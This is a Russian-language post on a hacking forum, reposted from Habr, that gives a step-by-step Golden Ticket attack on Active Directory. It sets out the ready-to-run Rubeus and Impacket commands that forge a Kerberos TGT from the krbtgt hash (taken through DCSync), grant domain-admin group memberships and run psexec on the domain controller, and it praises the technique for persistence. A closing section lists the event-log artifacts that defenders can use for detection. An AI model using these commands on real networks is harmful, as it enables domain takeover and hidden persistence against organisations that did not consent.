• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Раскуриваем Golden Ticket и смотрим артефакты

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
Атака Golden Ticket позволяет злоумышленнику выпустить золотой билет Kerberos (TGT) с помощью секретного ключа (хэш) сервисной учетной записи KRBTGT. Данная техника позволяет максимально скрыть следы своего присутствия, поскольку для инфраструктуры злоумышленник будет казаться легитимным пользователем, но без фактической аутентификации и с желаемыми правами.

Теория​

Примечание: Поскольку для проведения атаки самостоятельного выпуска TGT необходим ключ krbtgt, важнейшим аспектом является само получение этого ключа. Дело в том, что для раскрытия секретов сервисной УЗ необходимы административные права в домене. Поэтому, для успешного проведения атаки Golden Ticket, необходимо быть администратором домена или сдампить базу AD.

Немного про TGT​

TGT (Ticket Granting Ticket) или билет, удостоверяющий личность пользователя — это сущность, которая является доказательством успешно пройденной аутентификации.

В самом AS_REQ фигурируют атрибуты:

  • User Principal Name
  • Domain Name (Realm)
  • Service Principal Name
  • Copy of the Session Key
  • Pre-Authentication Timestamp, зашифрованный с помощью ключа, который был создан на основе пароля от учетной записи
Атрибуты AS REP:

  • User Principal Name
  • Domain Name
  • Service Principal Name
  • Copy of the Session Key
  • Privilege Attribute Certificate (PAC)
  • Time To Live (TTL)
Хотя по умолчанию TGT обычно действительны в течение 10 часов, злоумышленник может сделать их действительным в течение любого промежутка времени, вплоть до 10 лет.

Что нужно для выпуска TGT​

Для выпуска собственного билета потребуется:

  1. SID домена.
  2. SID и имя пользователя
  3. Хэш (ключ) учетной записи KRBTGT

Узнаём SID домена​

Код:
(Get-ADDomain).DomainSID.Value

1724071236868.png


Узнаем SID и имя пользователя​

Код:
whoami /user

1724071266402.png


Или

Код:
Get-ADUser goldenticket_user

1724071291569.png


Узнаем хэш KRBTGT​

Для получения хэша, проводим атаку DCSync:

1724071309219.png


Практика​

После успешного получения необходимой информации, можно начать проводить атаку. Будет рассмотрено 2 случая: локально и удаленно. Для локальной атаки буду использовать Rubeus, для удаленной- ticketer.py

Локальный выпуск билета​

Для начала, проверим наши права на чтение каталога контроллера домена:

1724071335287.png


Теперь командой klist purge очистим все билеты в сессии:

1724071352520.png


Создаем золотой билет для обычного доменного пользователя. Теперь он будет иметь права администратора (id 500) и состоять в сопутствующих группах: 513 (Пользователи домена), 512 (Администраторы домена), 519 (Администраторы предприятия), 518 (Администраторы схемы), 520 (Владельцы-создатели групповой политики).

Код:
.\\Rubeus.exe golden /newpac /domain:test.local /sid:S-1-5-21-3271603407-350436319-1246551825 /rc4:443867096fbe25b90fd8e4e612cb98d8 /user:goldenticket_user /ptt

1724071390788.png



1724071406705.png


Снова проверим билеты в сессии:

1724071423088.png


Как видно, билет был внедрен в сессию. Настало время проверить работоспособность:

1724071442355.png


Также стоит отметить момент использования флага /newpac при выпуске билета с помощью Rubeus. Всё дело в обновлении KB5008380. Улучшенный процесс аутентификации добавляет новую информацию о том, кто запросил билет в Privilege Attribute Certificate (PAC), которая записывается в TGT. Это дало возможность прекратить выпуск билетов для несуществующих пользователей. Если выпускать билет по старому формату /oldpac, то он попросту не будет работать.

Удаленный выпуск билета​

Для начала, выпустим билет на своей локальной машине:

Код:
impacket-ticketer -domain-sid S-1-5-21-3271603407-350436319-1246551825 -domain test.local goldenticket_user -aes bbe9b2be44a69f8492d4bc9276989c7d623bb04a5da893298a8ba770087ba065

И сразу заэкспортим билет в переменную окружения:

Код:
export KRB5CCNAME=goldenticket_user.ccache

1724071492040.png


Как видно, здесь используется не RC4 (NT) хэш, а AES-256.

После этого, мы можем проверить корректность с помощью PSEXEC:

Код:
impacket-psexec “test.local/goldenticket_user@dc_test.test.local” -k -no-pass

1724071526607.png


Получаем билет локально и используем удаленно​

Допустим, мы выпустили билет с помощью Rubeus и хотим, чтобы он был в нашем распоряжении на локальном хосте для возможности использовать его удаленно в любое время. Тогда для этих целей мы можем использовать ticketConverter из набора Impacket. Это является необходимым, если вы хотите использовать билет на Unix системах.

Для этого выпустим билет, но не будем его внедрять в нашу сессию. Вместо этого, просто сохраним его в файл:

Код:
.\\Rubeus.exe golden /newpac /domain:test.local /sid:S-1-5-21-3271603407-350436319-1246551825 /rc4:443867096fbe25b90fd8e4e612cb98d8 /user:goldenticket_user /outfile:1.kirbi

1724071555341.png


Теперь, например, перенесем билет на шару и заберем его с Kali:

1724071579375.png


Код:
impacket-ticketConverter ticket.kirbi ticket.ccache

1724071599025.png


Теперь также экспортим билет и проверяем:

Код:
export KRB5CCNAME=converted.ccache

Код:
impacket-psexec “test.local/goldenticket_user@dc_test.test.local” -k -no-pass

1724071654543.png


Для обратной ситуации (выпуск билета на линукс и использование на Windows), можно использовать kekeo.

Профит​

В конечном счете, мы имеем обычный доменный аккаунт, который обладает административными правами. Несмотря на то, чтобы достичь такого результата, необходимо добыть секреты krbtgt, это отличная техника для персиста.

Артефакты​

В данном случае, основными артефактами проведенной атаки служат:

  1. Отсутствие MSGID 4768 (Запрос TGT)
  2. В событии MSGID 4769 (Запрос TGS):
    1. Тип шифрования 0x17- RC4 (частный случай, который служит серьезным артефактом. При использовании AES - 0x12)
  3. В событии MSGID 4624 (Вход в систему):
    1. Субъект в первой записи отсутствует:

1724071729028.png


2. Новый вход имеет ИД безопасности “Администратор” и имя УЗ нашего пользователя (у него нет таких прав) :

1724071815630.png


4. В событии MSGID 4634 (Выход из системы):
  1. ИД безопасности “Администратор” и имя УЗ нашего пользователя:

1724071844447.png


Различие ИД безопасности “Администратор” и имя УЗ “goldenticket_user” можно объяснить следующим образом: SID пользователя не соответствует его имени (другие права).

Тесты проводились на WS2016

Источник: https://habr.com/ru/articles/836818/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх